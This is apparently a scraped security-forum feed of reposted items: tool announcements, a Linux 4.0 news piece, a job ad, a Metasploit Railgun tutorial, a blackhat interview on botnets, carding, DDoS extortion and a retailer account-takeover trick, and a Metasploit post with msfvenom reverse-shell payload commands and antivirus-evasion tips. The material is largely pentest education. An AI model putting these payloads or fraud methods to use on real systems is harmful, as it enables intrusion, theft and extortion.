WinObjEx64 Windows Object Explorer 64-bit WinObjEx64 is an advanced utility that lets you explore the Windows Object Manager namespace. For certain object types, you can double-click on it or use the "Properties..." toolbar button to get more information, such as description, attributes, resource usage etc. WinObjEx64 let you view and edit object-related security information if you have required access rights. System Requirements WinObjEx64 does not require administrative privileges. However administrative privilege is required to view much of the namespace and to edit object-related security information. WinObjEx64 works only on the following x64 Windows: Windows 7, Windows 8, Windows 8.1 and Windows 10, including Server variants. WinObjEx64 does not work on Windows XP, Windows Vista is partially supported. We have no plans of their full support. In order to use all program features Windows must be booted in the DEBUG mode. Build WinObjEx64 comes with full source code. In order to build from source you need Microsoft Visual Studio 2013 U4 and later versions. Authors © 2015 WinObjEx64 Project Original WinObjEx © 2003 - 2005 Four-F Sursa: https://github.com/hfiref0x/WinObjEx64

Linus Torvalds Releases Linux Kernel 4.0 RC1, Final Version Will Bring Live Patching The 3.x branch of the Linux kernel has been dropped After letting users decide the version numbering of the Linux kernel software, as Softpedia reported two weeks ago based on the Linus Torvalds’ Google+ poll for Linux kernel 3.20/4.0, the time has come for a change, as Linus Torvalds was proud to announce today the immediate availability for testing of the first RC (Release Candidate) version of the forthcoming Linux 4.0 kernel. This RC1 version is the first development release of what will become Linux kernel 4.0 in approximately 3-4 months. The final version of Linux kernel 4.0 will most probably arrive until summer 2015, when every kernel maintainer will go on vacation. However, Linus Torvalds tries to assure people that a version number change won’t bring any major features or break compatibility with previous releases. “Because the people have spoken, and while most of it was complete gibberish, numbers don't lie. People preferred 4.0, and 4.0 it shall be. Unless somebody can come up with a good argument against it. On the other hand, the strongest argument for some people advocating 4.0 seems to have been a wish to see 4.1.15 - because ‘that was the version of Linux skynet used for the T-800 terminator,’” says Linus Torvalds in the mailing list announcement. Live patching will be implemente d in the final release of Linux kernel 4.0 Without further ado, you can download the Linux kernel 4.0 RC1 right now via Softpedia or directly from the kernel.org website, whichever suits you best. We remind you that it’s an unstable version that should not be installed on production machines. According to Linus Torvalds’ notes, it is a fairly small release, but not much smaller than the usual RC versions. Prominent features include various vm cleanups, and the unification of the PROTNONE and NUMA handling for page tables. The final release of Linux kernel 4.0 will also include the highly anticipated live patching infrastructure. By Marius Nestor Sursa: Linus Torvalds Releases Linux Kernel 4.0 RC1, Final Version Will Bring Live Patching - Softpedia

Senior PHP & MySQL Developer Knowledge and Skills • Medium/Advanced knowledge of PHP & MySQL; • Medium/Advanced knowledge of XHTML, CSS, JS, XML, CSS & HTML, AJAX; • Medium/Advanced knowledge of OOP programming; • Capacity to understand and adapt quickly to the working model of some complex and mature applications; • Experience in developing web applications; • Ability to create a flexible design and capacity to write a well-structured code; • Talented and fast learner; • Reliable, loyal, motivated and ambitious, ready for long term collaboration; Responsibilities •You will develop and expand our product platform, along with your colleagues; •You will work on long-term running projects for our clients; The following represent an advantage • University education in Computer Science, Informatics, Engineering, Cybernetics; • Experience with SVN versioning system; • Knowledge of the required methods of working with Smarty; • Be thorough, have good attention to detail and display a high level of accuracy; • Strong analytical, creative thinking; Job benefits • Open minded team of highly skilled colleagues • Modern environment, office building, downtown location • Attractive financial and benefits package • Relaxation at dcs plus lounge together with colleagues and friends – bar, cinema, chill out area, billiards, ping-pong, darts, food court • Other benefits: fruits and coffee on the house, medical insurance, teambuildings Detalii la @Cheater

(Inca) Nu stiu Python, dar intra din browser pe: "site . com /interface/ipsconnect/ipsconnect.php ?" si vezi ce raspuns primesti.

Depinde ce servicii ai activate: - comision de administrare ~ 3-4 RON - Internet banking ~ 3-4 RON - alerte SMS ~ 3-4 RON

[TABLE] [TR] [TD]Hyperion-1.2.zip[/TD] [TD] [/TD] [/TR] [TR] [TD=width: 130]Description:[/TD] [TD] Hyperion is a runtime encrypter for 32-bit portable executables. It is a reference implementation and bases on the paper "Hyperion: Implementation of a PE-Crypter". [/TD] [/TR] [TR] [TD]MD5:[/TD] [TD]dc31d022b124dc92e7c362a62e64bd46[/TD] [/TR] [TR] [TD]Author:[/TD] [TD]belial[/TD] [/TR] [/TABLE] Sursa: nullsecurity

exrs Exercises for learning Reverse Engineering and Exploitation. All binaries for these challenges are ELF 64-bit LSB executable, x86-64. reverse engineering The goal is to run the chalenges like this ./rX password and having them print out password OK. It's reverse engineering, not cracking. So don't patch the binnaries if you want to play by the rules. It gets really borring if you don't anyway. sploit All the sploit exercices are designed to be solvable with NX+ASLR without being dependant on which libc is used. The idea is you should only interact with stdin / stdout as if it was a remote service, argv & env is not needed for exploitation. The goal is of course to spawn a shell on each one. All of them are tested. Of course you can still do whatever you like, have fun! Link: https://github.com/wapiflapi/exrs

Accessing the Windows API Directly February 19, 2015 Accessing the Windows API Directly If you are into pentesting I am sure you might have heard about the IRB shell in the Metasploit framework. This will be a small post about accessing Windows API using Railgun. Using Railgun we can access different functions in DLLs during runtime in memory. We could also write our own DLLs and call them directly using Railgun. This technique is used in the Meterpreter scripts and post exploitation modules to access the API to perform automated tasks. For demonstration I will be using a Windows 7 machine as the target and Kali as the attacker machine. After owning the box in the meterpreter session type “irb” and from there we can start the interactive ruby shell. The “client” will be our meterpreter client. We can access common API calls like this. Suppose I want to get the system information. [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]client.sys.config.sysinfo [/TD] [/TR] [/TABLE] Get the user ID [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]client.sys.config.getuid [/TD] [/TR] [/TABLE] Get all network interfaces. To verify the return type of the object type .class at the end. In this case it’s an array. [TABLE] [TR] [TD=class: gutter]1 2 [/TD] [TD=class: code]init = client.net.config.interfaces init.each { |x| puts x.pretty } [/TD] [/TR] [/TABLE] The above are built-in calls. Using Railgun we can access the Windows API directly. The syntax would be. Client.railgun.(DLL).(function)(arg 1, arg 2, …) I will demonstrate some examples. So suppose I want to access the MessageBox function in the Windows API. It’s located in the “user32” DLL. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]int WINAPI MessageBox ( _In_opt_ HWND hWnd, _In_opt_ LPCTSTR lpText, _In_opt_ LPCTSTR lpCaption, _In_ UINT uType ); [/TD] [/TR] [/TABLE] https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505%28v=vs.85%29.aspx To call the function we can type: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]?> client.railgun.user32.MessageBoxA(0, "Hello World", "Osanda", "MB_ICONASTERISK | MB_OK" ) => {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1} [/TD] [/TR] [/TABLE] If you want to lock the workstation you could use “LockWorkStation” API. BOOL WINAPI LockWorkStation(void); https://msdn.microsoft.com/en-us/library/windows/desktop/aa376875%28v=vs.85%29.aspx [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]?> client.railgun.user32.LockWorkStation() => {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>true} [/TD] [/TR] [/TABLE] Suppose I want to terminate a process. For that I will be using the “OpenProcess” and “TerminateProcess” functions. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId ); [/TD] [/TR] [/TABLE] https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320%28v=vs.85%29.aspx [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]BOOL WINAPI TerminateProcess( _In_ HANDLE hProcess, _In_ UINT uExitCode ); [/TD] [/TR] [/TABLE] https://msdn.microsoft.com/en-us/library/windows/desktop/ms686714%28v=vs.85%29.aspx If I want to terminate the CMD running in the target machine. I’ll first get the handle to “PROCESS_TERMINATE” and store the return value in a variable and next call “TerminateProcess” API to terminate the process. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]?> client.railgun.kernel32.OpenProcess("PROCESS_TERMINATE", false, 3664) => {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>4692} >> phandle = _['return'] => 4692 >> client.railgun.kernel32.TerminateProcess(phandle, 0) => {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>true} >> [/TD] [/TR] [/TABLE] Likewise you could do cool stuff by directly accessing the API during runtime. Read the prototype of the function and apply accordingly using Railgun. If you want to find the functions loaded to Railgun in a specific DLL just get the exception error message and you will see the functions loaded. Now let’s try to add a new DLL which is not shipped by default into Railgun. To check the available DLL type. [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]?> client.railgun.known_dll_names => ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"] >> [/TD] [/TR] [/TABLE] Let’s try to add “mpr.dll” into Railgun at runtime and try to access a function. This would be the syntax. client.railgun.add_dll(Name, Path) To add “mpr.dll” we can enter like this: client.railgun.add_dll("mpr", "C:/windows/system32/mpr.dll") After that you should add the function. To view the functions of a DLL I will be using DLL Export Viewer by Nirsoft, feel free to use any utility you like. I would like to use the “WNetGetUserW” function. Let’s check the function from MSDN. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]DWORD WNetGetUser( _In_ LPCTSTR lpName, _Out_ LPTSTR lpUserName, _Inout_ LPDWORD lpnLength ); [/TD] [/TR] [/TABLE] https://msdn.microsoft.com/en-us/library/windows/desktop/aa385476%28v=vs.85%29.aspx We should follow the syntax of the Railgun. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]client.railgun.add_function("mpr", "WNetGetUserW", "DWORD", [ ["PWCHAR", "lpName", "in"], ["PWCHAR", "lpUserName", "out"], ["PDWORD", "lpnLength", "inout"] ]) [/TD] [/TR] [/TABLE] After adding the function we can run the function passing the arguments [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]>> client.railgun.mpr.WNetGetUserW(nil,50,50) => {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>0, "username"=>"SYSTEM\x00AAAAAAAAAAAAAAAAAA", "lplen"=>50} [/TD] [/TR] [/TABLE] That is how you can access the Windows API using Railgun. For more info about editing modules read their documentation https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation MSDN is your friend. To play around with different APIs apply according to information provided by MSDN. Thanks for reading. Posted by Osanda Malith in pentesting Sursa: https://osandamalith.wordpress.com/2015/02/19/accessing-the-windows-api-directly/

[h=1]SystemProgramming[/h] Welcome to Angrave's crowd-sourced System Programming wiki! This wiki is being built by students and faculty from UIUC. Rather than requiring a book this semester, we will build our own set of resources here. [h=2]Week 1[/h] C Programming, Part 1: Introduction C Programming, Part 2: Text Input And Output Informal Glossary of basic terms #Piazza: When And How to Ask For Help [h=2]Week 2[/h] C Programming, Part 3: Common Gotchas Forking, Part 1: Introduction Forking, Part 2: Fork, Exec, Wait Kill [h=2]Week 3[/h] Memory, Part 1: Heap Memory Introduction Memory, Part 2: Implementing a Memory Allocator Memory, Part 3: Smashing the Stack Example Pthreads, Part 1: Introduction [h=2]Week 4[/h] Pthreads, Part 2: Usage in Practice Synchronization, Part 1: Mutex Locks Synchronization, Part 2: Counting Semaphores [h=2]Week 5[/h] Synchronization, Part 3: Working with Mutexes And Semaphores Synchronization, Part 4: The Critical Section Problem Synchronization, Part 5: Condition Variables [h=2]Week 6[/h] Synchronization, Part 6: Implementing a barrier Synchronization, Part 7: The Reader Writer Problem Synchronization, Part 8: Ring Buffer Example Synchronization, Part 9: The Reader Writer Problem (part 2) [h=2]Week 7[/h] Deadlock, Part 1: Resource Allocation Graph Deadlock, Part 2: Deadlock Conditions [h=2]Week 8[/h] Todo Analysis of Dining Philosophers (for now see the discussion section handout) ** Breaking Circular Wait. Using a global mutex to break hold-and-wait ** Beware of starvation if all philosophers hold their left chopstick and try+release their right chopstick Virtual Memory, Part 1: Introduction to Virtual Memory Pipes, Part 1: Introduction to pipes Pipes, Part 2: Pipe programming secrets Files, Part 1: Working with files [h=2]Week 9[/h] POSIX, Part 1: Error handling Networking, Part 1: Introduction Networking, Part 2: Using getaddrinfo Networking, Part 3: Building a simple TCP Client Programming Tricks, Part 1 [h=2]Week 10[/h] Networking, Part 4: Building a simple TCP Server Networking, Part 5: Reusing ports Scheduling, Part 1: Scheduling Processes [h=2]Week 11[/h] File System, Part 1: Introduction File System, Part 2: Files are inodes (everything else is just data...) File System, Part 3: Permissions [h=2]Week 12[/h] File System, Part 4: Working with directories File System, Part 5: Virtual file systems File System, Part 6: Memory mapped files and Shared memory File System, Part 7: Scalable and Reliable Filesystems Networking, Part 6: Creating a UDP server [h=2]Week 13[/h] Signals, Part 2: Pending Signals and Signal Masks Signals, Part 3: Raising signals Signals, Part 4: Sigaction [h=2]Week 14[/h] File System, Part 8: Disk blocks example [h=2]Other content[/h] C Programming, Part 4: Debugging #Example Markdown Legal and Licensing information: Unless otherwise specified, submitted content to the wiki must be original work (including text, java code, and media) and you provide this material under a Creative Commons License. If you are not the copyright holder, please give proper attribution and credit to existing content and ensure that you have license to include the materials. Sursa: https://github.com/angrave/SystemProgramming/wiki

Cititi ce e scris cu rosu.

Ceva de genul. Nu stiu unde se face diferenta. Cei cu FinFisher sunt bogati si liberi. NSA la fel. Legile ar trebui sa fie la fel pentru toti.

Are ban permanent. Puteti discuta cu el la adresa thesevensmarter@gmail.com

Interview With A Blackhat (Part 1) [This interview openly discusses criminal activities from the perspective of an admitted criminal. You may find this content distressing, even offensive, but what is described in this interview is real. We know from personal experience is that these activities are happening on websites everywhere, everyday, and perhaps even on your websites. WhiteHat Security brings this information to light for the sole purpose of assisting those who want to protect themselves on their online business.] Over the last few years, I have made myself available to be an ear for the ‘blackhat community.’ The blackhat community, often referred to as the internet underground, is a label describing those participating on the other side of the [cyber] law, who willingly break online terms of service and software licensing agreements, who may trade in warez, exploits, botnets, credit card numbers, social security numbers, stolen account credentials, and so on. For these individuals, or groups of them, there is often a profit motive, but certainly not always. Most of the time, the people I speak with in the information security industry understand the usefulness of engaging in dialog with the underground — even if it’s not something they feel comfortable doing themselves. However, I occasionally get questioned as to the rationale — the implication being that if you play with pigs you start to stink. People sometimes even begin to insinuate that one must be bad to know bad people. I think it is incredibly important for security experts to have open dialogues with the blackhat community. It’s not at all dissimilar to police officers talking with drug dealers on a regular basis as part of their job: if you don’t know your adversary you are almost certainly doomed to failure. One ‘blackhat,’ who asked to be called Adam, that I have spoken to a lot has recently said he’s decided to go legit. During this life-changing transition, he offered to give an interview so that the rest of the security community could learn from his point of view. Not every blackhat wants to talk, for obvious reasons, so this is a rare opportunity to see the world through his eyes, even if we’re unable to verify any of the claims made. Hopefully by learning how Adam and other blackhats like him think, how they communicate, people can devise better solutions, abandon failed technologies, and fix the most glaring issues. Maybe people reading this can find more effective punishments to deter the criminal behavior before it happens, or ruin the incentives, disable the markets, or find ways to keep people from the allure of criminal activity in the first place. A great deal can be unearthed by examining Adam’s words and those of other blackhats like him. Or maybe we can entice some of them, like this individual, to leave the blackhat life behind completely. Adam’s interview took place over a few days, and required a lot of back and forth. Due to the way in which this interview had to take place, a lot of editing was required to make it readable, but primarily to spelling, capitalization and punctuation. In every meaningful sense, these are Adam’s unaltered words. (Note that when Adam refers to “whitehats,” he is referring to legitimate hackers in general, and that this should not be confused with WhiteHat Security the business.) This is the first of our three-part interview. The next post will be tomorrow. Q: Can you describe what you think your hacking/security related skills are? A: My personal expertise and area of knowledge is in social engineering. I think it is pretty obvious I’m a blackhat, so I social engineer to card. Another area of “hacking” (I use the ” as DDoS isn’t really hacking) is botnet building and takedown orders. This is where most money in my opinion is made — where one day can bring in several thousand dollars. The whole blackhat market has moved from manual spreading to fully automated software. In addition, many sites are targeted in malware/info leaks by using some really common and easy methods. These include SQLi, basic and advanced XSS, CSRF, and DNS cache poisoning. Although SQLi is still a big player, XSS has taken over the market. I estimate about 50-60% of the attacks my crew did last year (Jan 1st-Jan 1st) were XSS. I also learned several programming languages — Python, Perl, C, C++, C#, Ruby, SQL, PHP, ASP, just to name a few. Q: Can you describe the first time you remember deliberately breaking a computer-related law? Why did you do it and how did you justify it? A: Hmmmmm. That was many years ago. The first time I remember was when I was in school (aged about 14). The admins were pretty good at security (for school admins, bear in mind). I was in the library one day and I knew that the admins had remote access to every PC. I also knew the librarian did. The library just so happened to be the place where they marked our exam papers and entered the grades. I was never the genius at school but I was getting mediocre grades. What if I could get ‘A’s and ‘A+’s and not do half the work? So I started to read around. I eventually came across keyloggers. It seemed strange and amazing that a program I could make (with a little research) could get me the top grades. So I did it. I installed the keylogger onto the librarian’s PC and then used the remote administration program to download the file onto the other PCs. I was suspended for two weeks. Q: Where did you learn the bulk of your skills? A: Books, Google, and the people I began speaking with on irc/forums. Unlike today’s 1337 haxorz (lol) we all shared, spoke, and helped each other. There wasn’t a sense of being mocked because you didn’t know. Q: What attracted you to the blackhat way of life? A: Money. I found it funny how watching tv and typing on my laptop would earn me a hard worker’s monthly wage in a few hours. [it was] too easy in fact. Q: Can you recall a tipping point at which you started considering yourself a blackhat? What was the nature of the event? A: It’s difficult really. I and the guys/girls I hung with never called ourselves blackhats, I don’t know, it was just too James Bond like. We just saw ourselves as people who found a way to make money. We didn’t care about what category we were in. It was just easy and funny. Although saying that, I first realized I might be branded a blackhat when my “real life” friend became a victim of credit card fraud. That’s when I realized my actions had real victims and not just numbers that were worth money. Q: How many machines do you think you directly controlled at the peak of your botnet activity? A: Erm, depends. I had two separate botnets (although some bots cross over). The DDoS botnet contained the bots which were public computers or computers that were in offices. [There were] two reasons I did that. Either: 1. they are on for the majority of the day and have good connection speeds or 2. people weren’t stupid enough to do their banking on them (if you were I’d let a script kiddy have it). Then there was my carding botnet, definitely the most valuable. These were PCs of banks, estate agents, supermarkets and obviously home PCs. I preferred to target PCs where an employee would enter customer data, i.e. banks (yes banks are super easy to bot). This gave me a constant supply of credit cards and a never-ending amount of spam ammo. DDoS botnet has about 60-70k bots at the moment, most in the west. Carding botnet had a lot less at around 5-10k, most in Asia. 570k is the biggest I’ve controlled. Q: How much money do you think you made after expenses per year at your peak doing blackhat activities? A: I can’t really go into specifics but when 9/11 happened we were making millions. Q: And how much do you think you made last year? A: Off the top of my head? Around about 400-500k. Last year was kind of shit. People became wiser, patches became more frequent. This year we have 3/4 of that amount already. Q: When you started, did you have a goal in mind to make a certain amount of money or achieve a certain goal? A: I get asked this a lot by new people on the forums. I never set myself goals until probably in the last 4 years. I started it out just for easy laughs, bragging rights (lol) and easy, very easy money. Q: Can you describe the process that you use to make money with your botnet? A: Making money with a botnet is easier than brushing your teeth, especially if you’re in the automated industry. Any crew has several members. The bot master, researcher, reverse engineer, spreader, social engineer, sales man and fudder*. The people who sell 0-days are solely selling 0-days half the time. The buyers are bot masters without a crew. Our crew developed a tool that checks the bot’s cache for Facebook/twitter accounts then checks their Facebook interests (e.g. justin bieber), then age, name, location. So for example bot no. 2 is signed into Facebook. The account likes Justin Bieber, aged 14, female, and lives in America (important to get correct language). Then automatically it selects a pre made list of links and for example would choose the ‘Justin bieber sex tape video’. Using zero days to compromise a website, then insert an iframe is kinda old, boring and sometimes doesn’t bring in the best results — unless of course you’re hijacking a high Alexa rating; then it’s worth it. Combining 0-days to deface the website and then a 0-day in e.g. java to hijack with a drive by is a lot more effective than tracking the user into downloading a file. What a lot of people don’t realize is that emails easily available on their Facebook profile can be sold for spam. Again, this makes more money automatically. * A fudder can be a tool that binds to a virus and makes it more difficult for antivirus to detect, or a person specializing in such a tool. Q: How easy is it for you to compromise a website and take control over it? A: For beginners you can simply Google inurl:money.php?id= — go ahead try it. But most of them will be cancelled or dried up. So, now you target bigger websites. I like to watch the news; especially the financial side of it. Say if a target just started up and it suddenly sky rocketed in online sales that’ll become a target. Most of these websites have admins behind them who have no practical experience of being the bad guy and how the bad guys think. This leaves them hugely vulnerable. They patch SQL but choose a DNS that is vulnerable to DNS cache poisoning. You can break in and be gone within an hour. Q: How easy is it for you to take over the ownership of an account via whois information or other publicly available information? A: Whois used to be crucial to gaining information. Now people spew it on Facebook, twitter, etc. Companies like Amazon only require name, address and email on the account to add another credit card. You then hang up. Ring the password reset department and tell them as verification the name, address, email and the credit card number you just added (it doesn’t even have to work (lol), just use fakenamegenerator.com) and then you are in. You can now see the ‘legit’ credit card’s last 4 digits. Now you can get an email password reset and you’re in. Amazon says they patched this two years ago but I use this method all the time. Seriously Amazon, train your staff. Q: What is your favorite kind of website to compromise? Or are your hack attempts entirely untargeted? What are the easiest sites to monetize? A: Most of the time un-targeted but once a company (which I won’t name) pissed me off for not giving me discount in a sale so we leaked every single credit card number online. One type of company I love to target is Internet security, i.e. anti virus companies. There is nothing better than a clothing store at the summer sales (except porn websites). These are in my personal opinion the easiest and most successful targets to breach. I’ll talk about clothes stores first. Clothing websites are SO easy because of two main types of attacks. 1. The admins never ever have two-step authentication. I don’t know why, but I have never seen one admin have it (and I’ve done it thousands of times). 2. The ‘admin’ usually works there behind the tills or in the offices. They have no clue what they’re doing: they just employ someone to make the website then they run it. They never ever have HTTPS, [so they have] huge SQLi vulnerabilities (e.g.. inurl: product.php?id=). Once you have the SQLi vulnerability you can go two routes or both. Route one: steal the credit card info and leave. Route two: deface the website, keep the original HTML code but install an iframe that redirects to a drive by download of a banking Trojan. Now to discuss my personal favourite: porn sites. One reason why this is so easy: The admins don’t check to see what the adverts redirect to. Upload an ad of a well-endowed girl typing on Facebook, someone clicks, it does a drive by download again. But this is where it’s different: if you want extra details (for extortion if they’re a business man) you can use SET to get the actual Facebook details which, again, can be used in social engineering. Q: What is your favorite/most effective exploit against websites and why? A: If it’s a 0-day, that obviously ranks at the top. But below that is XSS. It’s really well known but no one patches it. I suppose DDoS isn’t really classed as an exploit but that can bring in monthly ‘rent’ for our ‘protection’. But over all 0-days are the greatest exploits. Q: How do you monetize DDoS? A: People buy accounts so for example you rent 1k bots and have a DDoS time limit of 30 mins. Some people buy one-offs. Black mail is a huge part of it. Take the website down for an hour. Email them or call them and say they pay 200 dollars or it stays offline for good. They usually pay up. If they don’t, they lose days, weeks, months of business. Q: How do you pick targets to DDoS when you are attempting to extort them? A: Hmmm. It depends. If there is a big sporting event, e.g. the Super Bowl, I can guarantee 95% of bookies have been extorted. I knew of one group who took down cancer research website and extorted them after their race for life donation process was meant to start. They got their money, kinda sad really. Q: What kind of people tend to want to buy access to your botnet and/or what do you think they use it for? A: Some people say governments use it, rivals in business. To be honest, I don’t care. If you pay you get a service. Simple. Continue Reading Part 2 This entry was posted in Web Application Security on May 21, 2013 by Robert Hansen. Sursa: https://blog.whitehatsec.com/interview-with-a-blackhat-part-1/

netool.sh V4.4 MitM PENTESTING OPENSOURCE T00LKIT v4.4 WIKI netool.sh toolkit provides a fast and easy way For new arrivals to IT security pentesting and also to experience users to use allmost all features that the Man-In-The-Middle can provide under local lan, since scanning, sniffing and social engeneering attacks "[spear phishing attacks]"... DESCRIPTION "Scanning - Sniffing - Social Engeneering" Netool: its a toolkit written using 'bash, python, ruby' that allows you to automate frameworks like Nmap, Driftnet, Sslstrip, Metasploit and Ettercap MitM attacks. this toolkit makes it easy tasks such as SNIFFING tcp/udp traffic, Man-In-The-Middle attacks, SSL-sniff, DNS-spoofing, D0S attacks in wan/lan networks, TCP/UDP packet manipulation using etter-filters, and gives you the ability to capture pictures of target webbrowser surfing (driftnet) also uses macchanger to decoy scans changing the mac address. Rootsector: module allows you to automate some attacks over DNS_SPOOF + MitM (phishing - social engineering) using metasploit, apache2 and ettercap frameworks. like the generation of payloads,shellcode,backdoors delivered using dns_spoof and MitM method to redirect a target to your phishing webpage. Recently was introduced "inurlbr" webscanner (by cleiton) that allow us to search SQL related bugs, using severeal search engines, also this framework can be used in conjunction with other frameworks like nmap, (using the flag --comand-vul) Example: inurlbr.php -q 1,2,10 --dork 'inurl:index.php?id=' --exploit-get ?´0x27 -s report.log --comand-vul 'nmap -Pn -p 1-8080 --script http-enum --open _TARGET_' * STABLE repository | GIT repository | | CHANGELOG | BUG-REPORTS * Operative Systems Supported Linux-Ubuntu | Linux-kali | Parrot security OS | blackbox OS Linux-backtrack (un-continued) | Mac osx (un-continued). "REMARK" The project 'opensource-kali' as build to work on most pentesting distros, like: blackbox,parrot,backtrack,kali,etc, with little configuration needed. Sutch as: install the toolkit in the rigth path, set executable permisions to all files, and config paths to dependencies (in "toolkit_config" file). so its the obvious choise if you desire to install the toolkit on a diferent distro (than ubuntu or kali). * UBUNTU install | KALI install | OTHER DISTROS install | UNIVERSAL INSTALLER * Dependencies "TOOLKIT DEPENDENCIES" zenity | Nmap | Ettercap | Macchanger | Metasploit | Driftnet | Apache2 | sslstrip "SCANNER INURLBR.php" curl | libcurl3 | libcurl3-dev | php5 | php5-cli | php5-curl * Install zenity | Install nmap | Install ettercap | Install macchanger | Install metasploit | Install Apache2 * Credits x0ra-machine "Pentesting Lab" | Apofis Kaizer "Debug on Mac OSx" Fyodor "Nmap" | ALoR & NaGa "Ettercap" | HD moore "Metasploit" Moxie M "Sslstrip" | Chris L "Driftnet" | j0rgan "Cupp.py" Cleiton p "inurlbr.php" | ReL1K "unicorn.py" "Develop by: pedr0 Ubuntu [r00t-3xp10it]" Suspicious Shell Activity Labs@2014 | r00tsect0r CyberTeam Red Team Collaborations Sursa: http://sourceforge.net/p/netoolsh/wiki/netool.sh%20script%20project/

Custom payloads in Metasploit 4 One of the key features of Metasploit is the customization of the framework; for example, different payloads can be generated with many different options and placed in any of a large number of exploits. Custom scripts can be written with many commands for automated post-exploit actions. Nevertheless, there have still been a number of customizations that have been awkward to implement. Many of those deal with adding a payload that isn’t in the framework, or modifying it in a way that the framework does not directly support. So for Metasploit 4, I made a few tweaks to increase payload flexibility. Generic/custom The first change was an addition of a single custom payload. Prior to this, a custom payload existed for command execution exploits for UNIX (payload/cmd/unix/generic) but there was no analogous payload for command execution exploits for Windows, or for that matter any other architecture or platform. If you are developing a payload that could benefit from Metasploit integration, writing a payload module is preferable. But in some cases, such as generating multiple payloads, Metasploit might not currently support the UI or backend to generate the payload in a conventional way, and you may want to import the payload from a file or option. Or while writing a payload, it can be easier to import a payload into the framework than change a module. Multipayloads The second change made it easier to combine multiple payloads into one exploit, since you may not get a second chance to exploit your target service, get them to open an exploit document, etc. The first shot at allowing the framework to creating a single payload that is a combination of a number of payloads was the “none” exitfunc. Most payloads allow you to set the “EXITFUNC” option. This option effectively sets a function hash in the payload that specifies a DLL and function to call when the payload is complete. Usually it is set to thread or process, which corresponds to the ExitThread or ExitProcess calls. I added a ‘none’ that calls GetLastError, effectively a no-op. The thread will then continue executing, allowing you to simply cat multiple payloads together to be run in serial. msfvenom -p windows/shell_reverse_tcp -f raw -e generic/none LHOST=192.168.1.2 LPORT=5555 EXITFUNC=none > pay.raw msfvenom -p windows/shell_reverse_tcp -f raw -e generic/none LHOST=192.168.1.2 LPORT=4444 EXITFUNC=none >> pay.raw msfvenom -f exe -p - > msf.exe < pay.raw For some reason that didn't function in my XP vm, but it worked fine in my win7 VM. When the first reverse shell either failed or ran and the shell exited, the second reverse shell was started. Unfortunately this doesn't help you if the first freezes, but it's a start. Unfortunately the biggest problem is that many payloads don't have a clean execution path after the exitfunc. For example, the windows/exec payload places the exitfunc block before the command to be executed, so instead of running to the next payload, it tries to execute the ascii command as x86 instructions. This fails badly. Parallel multipayloads The solution is to enable running payloads in parallel, using roughly the same technique as in the exe payload injection code. That code injects a payload into an existing exe to run in a new thread while the old exe code continues to run normally. (-f option in msfvenom and msfencode) So now with the -c option, you can generate shellcode to be run in a new thread while the shellcode in the file specified by the -c option will be run in the main thread. And of course you can continue to add payloads to be run in parallel in subsequent commands. $ ruby msfvenom -h Usage: msfvenom [options] Options: ... -c, --add-code [path] Specify an additional win32 shellcode file to include -x, --template [path] Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread ... $ ruby msfvenom -p windows/messagebox -f raw EXITFUNC=thread > /tmp/msgbox.raw $ ruby msfvenom -p windows/meterpreter/reverse_tcp -f exe -c /tmp/msgbox.raw LHOST=192.168.0.102 EXITFUNC=thread > /tmp/rev102msgbox.exe This code generates an executable that runs a messagebox payload in one thread while a reverse-connect meterpreter is spawned in another thread. Custom executables The last change came in response to a number of requests to use a custom executable in the psexec exploit that generates and drops an executable onto the target system to execute. Since some antivirus products will block metasploit generated exe's, yet it is not difficult to manually generate an undetected executable, it makes sense to allow exploits like psexec to use an external exe as the payload. This change was implemented in the exe mixin used by executable-dropping exploits, and so is available in all similar exploits as well. The option is the advanced option EXE::Custom. , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.0.1-dev [core:4.0 api:1.0] + -- --=[ 725 exploits - 367 auxiliary - 78 post + -- --=[ 226 payloads - 27 encoders - 8 nops =[ svn r13559 updated today (2011.08.14) msf > use exploit/windows/smb/psexec msf exploit(psexec) > set EXE::Custom /tmp/mypayload.exe EXE::Custom => /tmp/mypayload.exe ... and proceed normally, without being bothered by pesky antivirus. Sursa: Custom payloads in Metasploit 4 « Thoughts on Security